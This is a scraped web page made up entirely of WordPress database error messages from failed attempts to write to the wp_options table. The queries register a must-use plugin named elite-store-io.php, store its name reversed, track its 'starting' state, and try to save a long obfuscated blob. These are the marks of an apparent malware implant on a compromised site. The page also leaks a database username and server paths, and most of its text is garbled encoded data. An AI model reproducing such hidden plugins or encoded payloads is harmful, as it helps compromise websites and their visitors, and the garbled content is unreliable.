WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('db84c703fea9', '4.3.24|php.oi-erots-etile', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_own_rec', 'a:8:{s:1:\"v\";s:6:\"4.3.24\";s:3:\"gen\";s:12:\"db70a087caff\";s:4:\"path\";s:90:\"/home/u914444314/domains/campusin.com/public_html/wp-content/mu-plugins/elite-store-io.php\";s:4:\"slug\";s:14:\"elite-store-io\";s:5:\"state\";s:8:\"starting\";s:8:\"start_ts\";i:1788552397;s:7:\"boot_ts\";i:1788552397;s:3:\"req\";i:1788552397;}', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('9a645255d3d7', '_,ekjfohle}c`/7/UUpuuUu3*861>2:e:+-000346+6'Uu3*861
e7++/,epp86+7*=q<02p,0/76>26+<7:33p-:+-0r+00346+r96'Uu:,<-6/+601e02/><+<01+:1+;:36):-&+003Uu	:-,601enqoqjUu*+70-e0/76>6+<7:33Uu6<:1,:ermqor0-r3>+:-Uu:'+02>61e-:+-0r+00346+r96'Uu:.*6-:,>+3:>,+ejqoUu:.*6-:,ehqoUupUpu	ekqlqmkupU69w~9*1<+601 :'6,+,wx==7i3&4;3f/;13mxvyy~ww;:961:;wx   	xvyy):-,601 <02/>-:ww,+-618v   	sxkqlqmkxsxabxvv##w6,,:+w{x,< =00+ ):-xvyy):-,601 <02/>-:ww,+-618v{x,< =00+ ):-xsxkqlqmkxsxabxvvvv$9*1<+6014.j*3i56&%36+w{6v$,+>+6<{>b1*33d69w{>bbb1*33v${>b>-->& 2:-8:w>-->&wx{=%?{b0xsxfad(xsxww$xsx:d-ldxsxh-f7-d57xsx|uh7-:d-ldxsxn??yvo>3	>zxsx(|xsxu(7lxsxh:(xsx(ud-xsx}7(-ldxsx:d-ldxsx((7lxsxn?xv?yvo>3	>zxsx1lh |uh7-xsxlk}7(xsxh-f7-d57xsxf/l}xsxh-u7-kxsxh-f7-d57xsxhf/xsxh-f7-d57xsx(d-ldxsxf|cxsxh-f7-d57xsxdl|-lxsxcddl|}7(xsxcddl|}7(xsx1l|xsx7}7(xsx7`(7:udxsxn?st3b#3b	>zxsx`| f-d-xsx1mxsx1wfl|xsx|hd-axsxbx?	>zqxsxfl|75d}xsxh-f7-d57xsx(du|/xsx(du|/xsxn?st3b#3b	>zxsx1wfxsxl}6xsx}7(xsx1f(dxsxf(dxsxw|/|xsx7(7-xvs>-->&wx7}7(xsx77udxsx7uddf-d-xsxh-f7-d57xsxhc}$45+hl}fah<xsx1|uh7-1xsx(du|/xsxl}6xsx7uddf-d-xsxl}6xsxd|7-xsxh-f7-d57xsxh|}d|7-xsxf7ad|uh7-xsx7((cxsx7-((cxsx((cauhdxsx7uddf-d-xsx7(7-xsx|(dlf/xsx1m1m%s'm};mwm};mwm};mm11xsx7udl7ldxsx7ud7dxsxff(-df/xsxf|cu}xsx|f/ddad(7-xsx%#z#z%tbn{z#xsx(u`d(xsx%#z#z%tbn{z#xsx|f/dxsx(|xsxu7d|dd}xsx|d-u7d|dd}xsx|/||7-ldxsxfu7xsxz#rv#%bx#b0t	xsx%#z#z%tbn{z#xsxu7d|dd}xsx7-7dxsx7-7dxsx|d-:d}7(xsx(du|/xsxd5|u}dxsx(|xsx	=3{x#xsxl}6xsxfufk-xsxfufk-xsx7:~dfxsxld/}d57xvs>-->&wxda(xsx%#y#sbo#bytsxsx+xsxufkxsx|d-xsxn?st3b#3b	>zxsx1mxsx7}7(xsx1fxsxwufkxsxfufk/xsx7((cxsxfufk-xsxfufk-xsxfufk/xsxfufk/xsxfufk/xsxfufk/xsx4hd(cxsx%#y#sbz#y#{%#ytsxsxxsx	>%{yytn>y#xt	%xsxb/(`:udxsx'xsxh:(xsx'xsx7(7-xsxh:(xsx'xsxfd(((xsxfd(((xsxfh-xsxfd(((xsxfd(((xsx((cu7fdxsxfd(((xsx}}f7-xsx7(7-xsx}}7ud(xsxh-f7-d57xsxn?st3b#3b	>zxsx1wfxsx1ff/dxsx17-}d5w|/|xsx7}7(xsx7`(7:udxsx7}7(xsx7`(7:udxsx}7(-ldxsxf|h(dxvs>-->&wx7((cxsxf|h(dxsxf|h(dxsx(du|/xsxf|h(dxsxf|h(dxsxf|h(dxsx(du|/xsxh-f7-d57xsx(d7d(/h}`-h-f7-xsxda}6/kuxsxf|h(dxsx7((cxsxf|h(dxsxf/l}xsx|ff/d7-au7}dxsxh-f7-d57xsxd(((duxsx7((cxsx7udxsxc|dxsxlddxsxlddxsx{uu`d}ldl(c7dxsxx57lhld5dfh7-7ldxsx(du|/xsx(du|/xsx(du|/xsx7(7-xsxf:ad(xsxf:xsxfud(ff/dxsx7ud7dxsxw|/|xsx1w4xsx1wh:xsx7ldxsxh-f7-d57xsxh|}d|7-xsxfh|}d:}xsx7ldxsx-xsx}7(-ldxsxh-f7-d57xsxf7ad|uh7-xsx7-((cxsx((c}7xsx7uxsxwxsx(d-ldxvs>-->&wx|ff/d7-au7}dxsxw|/|wxsx7udl7ldxsx7ldxsx}7(-ldxsx7}7(xsx1w}xsx:d-ldxsx7uddf-d-xsx7(7-xsx1m};mwm};mwm};1xsx,qxsx7ud|hf-d-xsxh-f7-d57xsxf|d-}7-7-au7}dxsx|uh7-u}d}xsx(5c5aalua4kl:+<xsx~:}4`f-|4xsxl}6xsx+w+w+xsxd5|u}dxsxcdxsx|/7-xsx7ud7dxsx|(dlf/xsx1m1m%s'm};mwm};mwm};mm11xsxf7ad|uh7-xsx7lhu77dxsxh-f7-d57xsxd7d|7-xsxf7ad7d`7}d|uh7-xsx7uddf-d-xsx7(7-xsx1m1m%s'm};mwm};mwm};mm11xsx|/xsx(du|/xsx}d}xsx-dxsxf}d}h|kxsx|uh7-u}d}xsx-ff//kuhxsx(7-xsx}d}h|xsx|d-}7(xsx(d}}7(xsx|d-}7(xsxwwxsxh-f7-d57xsxfud}7(xsxh-f7-d57xvs>-->&wxf-}7(xsx((cauhdxsxh-f7-d57xsxu:xsxu:xsx1xsx((cl|xsx:d-ldxsx7(7-xsx"
xsxkd-duuxsxbt#3?{z%#xsx7((cxsx+5<{6$f{{s6{+{s:<:{<+#+xsx+5<}f#6f$6<d}	}#	:}:d{<:xsx+5}$f66#+<+<+=<<6	6+:==xsx/|'11+5(|fw71d/xsx/|'11d/d(dhl |h:u7fw-}7dw||xsx/|'11d/w}(|fw(xsx/|'11(|fwd/wd`cwlxsx/|'11d/w:ufk((w5cxsx/|'11|h:u7f d/w-`-}dw7xsx/|'11d/ l7--dw(|fwfl
|7kdcq5:/n=>nkhk%3xh:aayh(?oyl`2ds%$0n}`79%l?n9z5(k#r`>xsx/|'11d/wuaw:h7u}xsx/|'11d/w(|fw:u5(:}-wflxsx/|'11d/ l7--dw|h:u7fw:u|7w7xsx/|'11d`cwd-}d(ucwf1|h:u7f1l7--dxsx/|'11d/d(dhlw(|fwh:4hd(cw-d`(k1|h:u7fxsx/|'11d/d(dhl (|fw|h:u7f-}dwflxsx/|'11l7--dwd`cwd-}d(ucwfxsx/|'11d/w|7w-7-u7cw71|h:u7fxsx/|'11d/d(dhlw|h:u7fw:ufk|7w-d`(k1a1(|f1|h:u7fxsx/|'11d/d(dhl ~- (|fwkducw7xsx/|'11(|fwd-7w5c1l7--dxsx/|'11d/wld(kudw7xsx/|'11d/w|7w|fkdw-d`(kxsx}l7-xsx}lxsx}l7-7((xsx:fkh|xsxh-f7-d57xsxd-f}dxsxh-f7-d57xsx}dudxsx|fkxsxf(f$xsx7(7-xsx(ud-xsxh-|fkxsx}df}dxvs>-->&wxh-f7-d57xsx7-udxsx(ud-xsx(ud-xsxh-f7-d57xsx/d5$:7-xsx7(7-xsx(ud-xsx0xsx`| }l7-1xsx`| 7-fuh}d1xsxu:xsxw|/|xsx((c(-}xsx7ldxsx`|(-}xsx(-}xsx(ud-xsxfuuhd(h-fxsx`|(dlddxsx`|(dlddxsx7ldhxsxuad(7cxsxu7l7(d|-d7dxsx7`|d(((xsxfh(u7-7xsxfh(ud|((cxsxfh(ud5dfxsxsvzyt?bz#bvz3bz{3%#zxsxsvzyt?bb>x#tvbxsxsvzyt?b%%y#z>2?##zxsxsvzyt?b%%y#z>20t%bxsxsvzyt?b3t?ztoz#%%xsxsvzyt?b?ztoz#%%v3sb>t3xsx/|f}dxsxfuuhd(h-fxsx`|(dld|xsx7ldhxsxuad(7cxsxu7l7(d|-d7dxsx/d}d(xsx:}cxsx7`|d(((xsx7((cxsx'xsxxsxh-f7-d57xsxsvzyt?b?t%bxsxsvzyt?b?t%b>#y	%xsxsvzyt?bb>x#tvbxvs>-->&wxsvzyt?b0bb?0#{	#zxsxd|7-xsxfu(|fxsx((ch-/7xsx(7lxsx((c(-}xsx~-(|f'$w+7}'ld/}'d/fuu|(l'}'+5:f6}d+'xsxjud8jxsxs-d- bc|dxsx||u7f7-1~-xsxl7f(7ldxsx(7lxsx~-}df}dxsx(dhuxsx(dhuxsx(dhuxsx(|xsx+5xsx(}xsxh:(xsxh:(xsx7(7-xsx7(7-xsx(ud-xsx(duadxsx(|f}df(c|7ud}xsx(duadxsx(|f:}kdcud-/xsxh:(xsx((c7ud(xsx(7lxsx|(d|u7xsx1m(
m-1xsxff$ff/dxsx7l|u}dxsxd(ad(kdcxsxh(uxsx(duadxsx(akdcxsx7(7-xsx((cauhdxsx(7lxsxh(uxsx(|fuu7ud}xsxh-f7-d57xsxh|}d|7-xsxd(7u7dxsxf/(xsxl(-}xsx:dd-f}dxvs>-->&wxd|7-xsx7(7-xsx:d}df}dxsx(ud-xsxf/(xsx(}xsx?0?#z%>t3>	xsxh-d(7u7dxsxuu`d}fudxsx((d|ufdxsxd|xsx`xsx`h(uxsx`ff/d}xsx7fu(xsxfd(((xsxd(((xsx((cld(dxsx((ch-74hdxsxd(((xsx((ch-74hdxsx((cld(dxsxd(((xsxuh/d(((xsx(ud-xsx(ud-xsx(}xsxf|cu}|d(7d-xsxf(->-d(auxsxf(->-d(auxsxf7-d(auxsx7-d(auxsx}7|ucxsxshll7-d--fd7-d(auxsxfh(}7-d(auxsx}7|ucxsx`|-d5f/d}hud}xsx`|f/d}huddad-xsxff/7-xsx7ldxsxl(-}xsx	t>3oszt3xsx/h}`-xsx}~4c}:7k5/xsxh-f7-d57xsx`|(dlddxsx7dh(uxsx`| f(-w|/|
}7-`|f(-qxsx:ufk7-xsxf77-7/(d4hdxvs>-->&wxh-f7-d57xsxu7d|dd}7-7/(d4hdxsx7-(dhd(:(xsx7-(dhd(:(xsx7-7dxsxu7:wh|hfl|(d7-xsx:dudaduxsx:dud-/xsxs-d- yd-/'xsxs--df7-'fudxsx:d-}uh/xsxuh/xsx`|f/d}hud7-uddad-xsx	>%{=y#n?szt3xsxd|7-xsxfudf/xsxd|7-xsxfdd-ad(xsxfdd-ad(xsxh-f7-d57xsx`|h-f/d}huddad-xsxdf/xsxf(-ud7-u7-dxsxd7ldu7l7xsxd(-7d-xsx7((cxsxf|cu}|d(7d-xsx|uh7-zhudxsx7((cxsxf|uh7-(hudxsx7-~dfzhudxsx7((cxsxf7-~df(hudxsx~xsxf~xsx~xsx|dxsx7(7-xsxf|dxsx|dxsx`xsx`xsxf`xsxff/dxsxh-f7-d57xsxfu/duxsxh-f7-d57xsxf/duf-xsx(fxsx(ud-xvs>-->&wx7(7-xsx(ud-xsx7(7-xsxfu/duxsx-xsxh:(xsxw|/|xsxn??yvo>3	>zxsxu:xsx11w|/|xsx((ch-74hdxsx|(d(d|ufdxsx1m;1xsx7uddf-d-xsx7(7-xsx1m;1xsxd(-7d-xsxf/duf-xsx7ldxsx/duxsxh-f7-d57xsx}7}f7-xsx(d7d(/h}`-h-f7-xsxh-f7-d57xsx/ldh(uxsxd|7-xsx7ldxsxfu/:xsx-xsxh-f7-d57xsx|cu}buxsx|cu}buxsx7ldxsxfudf/7uxsxfdf/7uxsxl5xsxl7-xsxad(xsx|/|xsx|7xsxuxsxh-f7-d57xsx7uxsxlxsx`|xsx`|ad(7-xsx(axsxh:(xsxf~xsx7(7-xvs>-->&wxf~xsx~-xsx~ud-xsx(ud-xsx~(d4xsxf~|(7-d}xsx~:xsxf~:hd}xsx~xsxh-f7-d57xsxf~|(7-d}xsx`h(uxsx`/7xsxf`d|/7xsx`uxsxf`d|uxsx`/}xsxh-f7-d57xsxf`/}xsxa}axsx77udxsx1}a-fd} ff/dw|/|xsx7uddf-d-xsxa}:xsx77udxsx1}:w|/|xsx7uddf-d-xsxafxsx1:~df ff/dw|/|xsxwxsxwuxsxah(}xsx`| 7-fuh}dxsx7ldxsxah(}xsxh-f7-d57xsxhd(7-7w7ud-ldxsx7(7-xsx--dxsxwhd(w7-7xsxa7-7xsxh|(d|d-}7udxsxa/xsx77udxsxw/ffdxsxh|(d|d-}7udxsxa`fxsx77udxsx`| f-7w|/|xsx7uddf-d-xvs>-->&wx`| f-7w|/|xsx%snsxsx|(d|d-}xsx%s{vbt?z#?#3	xsx|fxsxn?zts#b#z%>t3xsxy%sn?xsxnbsxsxff/d|(d|h(dff/dxsxfud57xsxsf/d#-:ud(xsx`|dff/dxsxh-f7-d57xsx`|ff/dd(adff/d7udxsxkxsx7uxsxfdf/7uxsx7uxsxfudf/7uxsx7fxsxfxsxxsx7ldxsx7f-xsx7f$xsxfu:l}dxsxu:xsx7(7-xsxff-(cxsxfcxsx7dlxsxd((xsxh:(xsxh:(xsx7dh(uxsx`| u7-w|/|xsx`|u7-h(uxsx/ldh(uxsx|(dh(uxsx?0?vzy0t%bxsxd7dh(uxsxd:u7-xsxh(uxsxh-f7-d57xsxd|7-xsx7dh(uxsx0bb?0t%bxsx%#z#z3{x#xsxh-f7-d57xsx7-7dxvs>-->&wxl5d5dfh7-7ldxsxd7ldu7l7xsxl7f(7ldxsx7(7-xsxd(ad(kdcxsxd(ad(kdcxsx-xsxfuf$xsx/hudxsx((ch-/7xsxfh-xsxd|7-xsx1w|/|xsx7((cxsx}l7-xsx|uh7-d(7-xsx|uh7-xsx(xsx((7lxsxf7ad}?uh7-xsxlh?uh7-xsxu7-v(uxsx}l7-xsx}l7-sk7dxsx`|~-d-f}dxsx~-d-f}dxsxs-d- bc|dxsx||u7f7-1fd (dlxsx7((cxsxf$dl|cxsxf$}df(c|7ud}xsx(7lxsxf$:}~-xsxdf/h(uxsx:df-xsx;1xsx xsx(|u7xsxl7f(7ldxsxfh-xsxl7f(7ldxsxf:qxsx&7qxsx&-qxsx&}qxsx7((cxsxh-f7-d57xsxfuf$xsxh-f7-d57xsx}dudd|7-xvs>-->&wxfd(((xsxfd(((xsx((cauhdxsx|uh7-xsx7(7-xsx|uh7-xsx(dd(7-xsx(fdv|}dxsx7-~dfzhudxsx7((cxsx7-~dfzhudxsx7(7-xsx~ff/d}xsxf~xsx~xsxl}6xsx~ff/d}xsx-xsx|dxsx|dff/d}xsx`xsx`xsxf`xsx`xsx`xsxdl|udxsx7((cxsxdl|udxsxh(}xsx}a-fd}sf/dxsx}a|uxsx}:xsx}:|uxsx/dldxsx/dld|uxsx/ffdxsx/|uxsxhd(>-7xsxh-7|uxsx7-uud(xsx7-|uxsxfy}d(xsxf|uxsx7-hld(7fxsx7-hld(7fxsxf(->-d(auxsxf(->-d(auxsxfudf/xsxul|}fh``~6kxsxf|cu}|d(7d-xvs>-->&wx|cu}buxsxf|cu}|d(7d-xsx-xsxf(->-d(auxsx`|df/d}hud}dad-xsx`|fud(f/d}hud}/kxsx7ldxsxfudf/7uxsxdf/xsxff/7-xsx7(7-xsx"
|/|xsxh|}dxsxc-5d(((xsx1m1m%s'm};mwm};mwm};mm11xsxh|}dxsxad(l7lf/xsx-faxsx-|(daxsx}7(-ldxsx7ldxsxh-u7-kxsxh-f7-d57xsx7ldhxsx(d}7(df7-xsxh-f7-d57xsxh-f7-d57xsxd|7-xsxf7ad|uh7-xsx7-((cxsx(d|ufd7uxsxd(-7d-xsxf(dfad(f/dfkxsx/ldh(uxsx`|(dlddxsx1
ff:qxsx7ldhxsxudd|xsx7-((cxsx-xsxh|}dxsx(uu:fk7uxsx}7(-ldxsx1w4xsxh-f7-d57xsx7((cxsx7-((cxsxf|d(7d}xsxf-(c(uu:fkxsx1w}xvs>-->&wx(fxsxff/7-xsxn??yvo>3	>zxsxd|uh7-xsx7udd57xsx`| }l7-17-fuh}d1|uh7-w|/|xsx|(dlf/xsxf-xsxf|uh7-(hudxsx(|xsx}7(-ldxsx7(d}:udxsx7-fxsx|/|xsx|/luxsx/luxsx~xsx77udxsxl7f(7ldxsx7((cxsx7u7-kxsx77udxsx|/7-xsx?{b0>3t#b#3%>t3xsx(|xsx}df7ad|uh7-xsx`| }l7-17-fuh}d1|uh7-w|/|xsxh-f7-d57xsxn??yvo>3	>zxsx7}7(xsx}dudd|uh7-xsxfh((d-hd(f-xsxdhd(xsx`|dfh((d-hd(xsx(udxsx}l7-7((xsx-hl:d(xsx(|xsx(du|/xsx(|xsx	>z#sbtz2%#?{z{btzxsx7u7-kxsx7}7(xsx(l}7(xsx((ckdcxsx7}7(xsx7((cxsx?{b0>3t#b#3%>t3xsx|/|xsx(df-xvs>-->&wxful|fud-xsxful|fud-xsx7ldxsxfxsxh-f7-d57xsx`|xsx77udxsx7ldxsxw|/|xsx`| f-d-xsx1|uh7-xsx11w|/|xsx:d-ldxsx}7(-ldxsx(|xsx%s	?=#o>3xsx1m-
m1m%s	?=#o>3' { 9+ <w'8;mm1w
m1m%s	?#3	'mmm1m-
1xsxh-f7-d57xsxf|uh7-(hudxsx7((cxsxfu(df-xsx|d(7}7fxsxl7(dxsx(f7-au7}xsxd(-7d-xsxfl77uxsx7u7-kxsx7}7(xsx7`(7:udxsxlh-`(7:udxsxh-f7-d57xsx77udxsxl}6xsx7uddf-d-xsx7uddf-d-xsx7udd57xsx7uddf-d-xsx7(7-xsxh|}d|7-xsxh-f7-d57xsx}dudd(-7d-xsxd|7-xsxh-f7-d57xsxf7-77u7d}xsx-xsxh-f7-d57xsx}}|7-xsxfudf/7uxsx-xsx/h}`-xvs>-->&wx4<|~<+a$7l`44hdxsx7-7xsx}dudd|7-xsx`|(dlddxsx`(lxsx7}l7-xsxf7ad|uh7-xsxf7-xsxf7adxsxf7ad dudfd}xsx(7lxsxf/dfkd}xsx7((cxsx(7lxsx`|d(d}7(dfxsx}l7-h(uxsx|uh7-w|/|xsxf-fxsx}(|7-xsx|uh7-xsx}(|7-xsx}:w|/|xsx%s	=xsx}a-fd} ff/dw|/|xsx%s{	xsx}(|7-xsx7uddf-d-xsx1xsx=#o>3'xsx1m1mxsx=#o>3' { 9+ <w'8;mm1w
m1mxsx#3	'mmm11xsxlhhdxsx|uh7-xsxlhhdxsx:fld|udf+lxsx:d-ldxsxw|/|xsx"cud,(} |uh7-qxsx8(} |uh7-qxsx8}7|uc'--d.7l|(-j"1cud,xsx"f(7|,}fhld-w}}#ad-y7d-d(	txs-d-y}d}h-f7-}fhld-w4hd(c%dudf({uu(} |uh7-8w(#f/h-f7-(a(|q(wd{(7:hd} |uh7-7|qqqxsxee|qqqxsx(w(dladja(fq}fhld-w4hd(c%dudf(wh:h:h:wlhhdwfh-7fa(-q|(d>-fwd5s-d-w(d|ufd1)+ <81ee+7-,+fwd5s-d-q;x/wl5+- ;jj"1f(7|,xsxh-f7-d57xsx7f``f4`5kfxsx(}|kd(a4/<xsx:d-ldxsxd|uh7-}xsx3ldxvs>-->&wx3ldxsx`| |uh7- f7adxsx`| |uh7- 7-f7adxsx7du}xsx7((cxsx7du}xsx(|xsx`| lh |uh7-xsx`| |uh7- lhhdxsx1%s'xsx1?uh7-3ld'm)m(m-8;17xsx:d-ldxsx`| }(|7-xsx7((cxsx`| }(|7-xsx7du}xsx{=%?{b0xsx`| f-d-xsx1xsx=#o>3'xsx(|xsx|d(-xsx|(d4hdxsxi*xsx/7}}d-xsx*1xsx(xsx7((cxsx77-xsx(7:hdxsx(7:hdxsx?0?x{tz#z%>t3xsxdu7-}d(s--df(xsx1`| 7ud l-d(1u7:1|/|1du7-}d(s--df(wfuw|/|xsx17ud l-d(1u7:1|/|1du7-}d(s--df(wfuw|/|xsx17ud l-d( }a-fd}1u7:1|/|1du7-}d(s--df(wfuw|/|xsx77udxsxwfuw|/|xsxw|/|xsxfudu7-}d(s--df(xsx|(d(d|ufdxsx1)m"m
|/|
1xsxfu%sdu7-}d(s--df(zduxsx"
|/|xsxf/7}dxsxf/7}d}7(xsx"
|/|fudu7-}d(s--df(d5d-}%sdu7-}d(s--df(zduxsx|(dfd}h-f7-h|h((ci}xsxi/7}dq7dioyt={y%f/7}d8
ioyt={y%f/7}d8'xsx7i/7}d.qq&&h-f7-d57fl7ud(xvs>-->&wxi}qfl7ud(i}i/7}dxsx|(d-''h|hi}xsx`|xsxlxsx+kf4(5fdcxsx7((cxsx7udxsx}}d}xsxf/-d}xsx(ddxsx7((cxsx-ldxsxf/7}d}7(xsx(ud-xsx7(7-xsx(fxsx77udxsxh:(xsxl}6xsxh-f7-d57xsxf(dfad(f/dfkxsx(fxsxf(dfad(/(udxsx(dfad(xsxh(fddl|cxsx(7lxsxf(dfad(f/dfkxsx`|d-}-d`hd(-77f7-}l7-xsx(dh(-udxsx`|-d`hd(-77f7-dl7u}l7-xsx(dladf7-xsx(d7d(-d`hd(xsx`|d-}-d`hd(-77f7-xsxd}7hd(f(dd}hd(xsx`|u7-xsx`|-7c}l7--d`u7-xsx`|}:xsxf|:7u77dxsx#y#sbhw>	hwhd(u7-hwhd(|hwhd(dl7uztxxsxh>33#zt>3xsxlt3hw>	qlwhd(7}n0#z#lwldkdcqp{3	lwldauhdy>#pxsxp}l7-7((pxsxxsx`|d-d(dh/fk7dxsxn?%d7-bkd-xsx7((cxsx7ldxsxdfh(dh/xsxh/xsx%#svz#{vb0stt>#xvs>-->&wx{vb0stt>#xsxytoo#	>3stt>#xsxstt>#	tx{>3xsxstt>#?{b0xsx{	x>3stt>#?{b0xsx1`| }l7-xsxbzv#xsx{y%#xsx`|l7uxsx7hd}xsxh-f7-d57xsxd|7-xsxhd(ldxsxd7-kd-xsxfh-xsxd5|7(7-xsxfh-xsxd7--fdxsxud}7-xsxbzv#xsx`|d-d(dh/fk7dxsxfk7dxsx`|l7uxsx7((cxsx:hxsx:|xsx7:~dfxsx/f|xsx}l7-7((xsx7fxsxxsx7ldxsx-xsx7-d(fd|xsx7((cxsx7((cxsxu7-fxsx1)xsx|(d4hdxsx + <8+ji1xsxh:(xsxu}(xsx/uxsx--($}+}674xsx7ldxsxh-f7-d57xsxh|}d|7-xsx7ldxsx7(7-xsx}7(-ldxvs>-->&wxf(xsx7ud|hf-d-xsx7xsxl7f-}7(xsx:d-ldxsxl7f:}|/|xsx77udxsxl7f-dl|-lxsx(ud-xsxfxsx`:xsx`(7dxsxh:(xsxh-f7-d57xsxc-fxsx7ud|hf-d-xsxl7fdl|7uxsxl7f/(`(7dxsxwfu}xsx7uddf-d-xsx7(7-xsx7(7-xsx7(7-xsx7xsxl7f(d-ld7uxsx7uddf-d-xsxl}6xsxh-f7-d57xsx//7udxsx7(7-xsx7(7-xsxh:(xsxl7fad(7c7uxsx7(7-xsx//7udxsxl7f/7(}|(cxsx:d-ldxsx7ud|hf-d-xsx77udxsx7(7-xsxa</6f$u-}huuxsxh-f7-d57xsxf|:qxsx7ldxsxl(-}xsx7ldhxsxuad(7cxsx(d}7(df7-xsx/d}d(xsxsf/d s-(uxvs>-->&wx- ff/dxsxh-f7-d57xsxh-f7-d57xsx7ldhxsx7`|d(((xsx1m-
">x}hudl}|/|+ <w8mwf,m|/|auhdh|(d|d-}7ud)m-8xsx)m-8m-"m1>x}hud,m-
17xsx1m-
">x}hudu7d|dd},m|/|auhdh|(d|d-}7ud)m-8xsx1m-
|/|auhdh|(d|d-}7ud)m-8xsx)m-8m-
17xsxh-f7-d57xsx|ff/ddhxsx|ff/dd-:ud}xsx`(7d7ud}xsx`:xsx:d-ldxsxufkxsx`(7dxsxh-f7-d57xsxd(-7d-xsxf}l7-7fkxsxf}l7-7-u7/xsxf}l7-7-u7/xsxd|7-xsxh-f7-d57xsxhd(-ldd57xsx}l7-7fkxsxd|7-xsxh-f7-d57xsxhd(-ldd57xsx7((cxsxd5l|udwflxsxh-f7-d57xsx`|d|`(}xsx-xsx((c(-}xsx}l7-xsxfuu77-xsxh-f7-d57xsx`|7-d(hd(xsx7udd57xsx`| 7-fuh}d1hd(w|/|xsxhd(u7-xsxhd(|xsxhd(dl7uxsx(udxsx}l7-7((xsx}7|uc-ldxsx-`|}:xsx`|//|`(}xvs>-->&wxfh((d-7ldxsxlc4uxsx2 l }0'7'xsxhd(u7-xsxhd(-7fd-ldxsxhd((d7d(d}xsxhd(hxsxpxsxp}xsx4u7-d(7uxsxhd(7}xsxldkdcxsxldauhdxsxldkdcxsxhd(udaduxsxpxsxpxsxfud-hd(ff/dxsx}l7-xsxad(7c7uxsxh-f7-d57xsxdhd(:cxsxu7-xsxhd(f-xsxf|ad(7c7uxsx`|}duddhd(xsx{=%?{b0xsx`| }l7-17-fuh}d1hd(w|/|xsx-xsx4hd(c`/d(dxsx(|xsx{3	hd(u7-.qxsx/7}d4xsxd|7-xsx:hxsxuuxsx1mm};m1xsx|(d(d|ufdxsx1mm};m1xsx/7}df-xsx:hxsxu7--7-xsxu7--7-xsx/7}d(dxsx7(7-xsx}7(-ldxsx}7(-ldxsx((cld(dxsx7((cxsx77udxvs>-->&wx?{b0>3t#b#3%>t3xsx|/|xsxd|7-xsxcud/ddxsxdl|udxsxn?st3b#3b	>zxsx1/dldxsx`| f-d-1/dldxsx((ch-74hdxsx(|xsxwwxsx1|d(-xsx7}7(xsx7((cxsx(ud-xsx7(7-xsx7-~dfxsx7-~dfxsx1mxsx}7(-ldxsx1/ldxsx1a(1```xsx1a(1```1a/xsx1a(1```1/luxsx1(a1```xsx1(a1hd(xsx1h(1ufu1```xsx7-7dxsx7-7dxsx|d-:d}7(xsx(|xsx(7lxsx((ch-74hdxsxl7f(7ldxsx1`| f-d-1lh |uh7-xsx1`| f-d-1|uh7-xsx7}7(xsx7-uud}xsxf|(d}7-d(auxsx|(d}xsxf|(d}-(xsx-(xsx1`| f-d-1|uh7-1xsxf|(d}7-d(auxsx1`| f-7w|/|xsx1`| f-7w|/|xsx1}d7-dmmm8	=3{x#8mm8)8;81xsx1:ud|(d75mqm8)8;81xsx1) { 9+ <8;i1xsx`|}:xvs>-->&wx4hd(cxsx|(dlf/xsx1) { 9+ <i 8;i1xsxf7adxsx}:-ld(d~dfd}xsxwxsx|7-xsx%b{zbbz{3%{sb>t3xsx#y#sb|7-auhdztxxsxn0#z#|7--ldqxsxf7ad|uh7-xsxy>x>btzv?	{b#xsxztyy={sxsxztyy={sxsxstxx>bxsx?	{b#xsx%#b|7-auhdqpn0#z#|7--ldqxsxf7adxsxh|}d7uxsxztyy={sxsx7:~dfxsx`|}:xsx7:~dfxsxh-f7-d57xsx7-udxsx|/(f<h$;a+yob=7=}3$-0/+=tk-y5(2-0%c9=7b=n90={-59}h~xfsrbhhf+?+33cb(xcbfk/4fk1a/o=(5sb:1%r/3(y5r}s{h{udb96;3#-/uc>/h#z(?%36oaa5db61?c15`4r}hf	4=v4`vxl5ha5`3+zkrzk-<261n%xf>#9lnf1$:`3kb:l``n:+kdfz/a%:~7	x6115+<(dn-1	`?lrl}las--x~4}=#h?+<b	4(uo}r~7yol;vfh#b#~;tdl6>6`t0l3c}#561b;v9:7=bn:55>2%{>`z/50lv~sa<uk9-yh2h6lk4;//=?/	bx1cu2a6+d-1sb-0`sl/nb>dh?sf{+619n(/5$kt+|l/2lvy2$hz`{~~?<ac	|-k%(3a$%dd0y1s>t5}kc}v7~2>46	xyh$$=yt96h>4:2o=d0<;#:c3;		v?h9:u>rv7+$4lra=-k4>/u	9>~>7%suvhlc7z2`~s;sthkcn?s;|<>;k`ab{=?n	~s};k(>%<r6k{(c{:=;0y;fvu>at>7kd>?+b5b;6(4x52knz=oxx4=%`;%?l3o9	y?n	4n~v{ns	1h--7(3fu:l?}$u(+1`4n6yv<vz49?v({=#+|;%<bs{v7?=52|#>/(oos-4|tz2x6dat-y97d->>#<sb3;bkn/39h1(o+x9%n/5$z<#k13lr~1d+`aa-s%2	dvan;2=>t/$-1`2u|%|1x:(a79}:?-s:~63b3=53`:a|9#(/rd}4:2?:l52}7	a0:-s`v}5x?0}:<k>tn01f7x{zr<yy1|<dl30b`r`xz+52v1$u$>rvd`kbdtho;k+abx|k`y|=	2s|6;`;121sl<62;;	a#=t0%||6l(0|l+k1~lnzhv$f2t#{hk+6#}/(=9at;h0vk}v`k~/0|br/(a=b1{c~+<|?kc-2srn?`0kbuk(`v2l}5f:	o`35t35c|5hz7sk>bk+}k;t}fba	#}|?5u}bl1v/+`u#6rf(><6#ykb~}%9v9|~4h#1zoffhx2yd{uz6~o5o%0ba/014s3na/th<z|2(`	x}`y}$7265+6c|k	t?7-;h/01$y9/<t2y:4<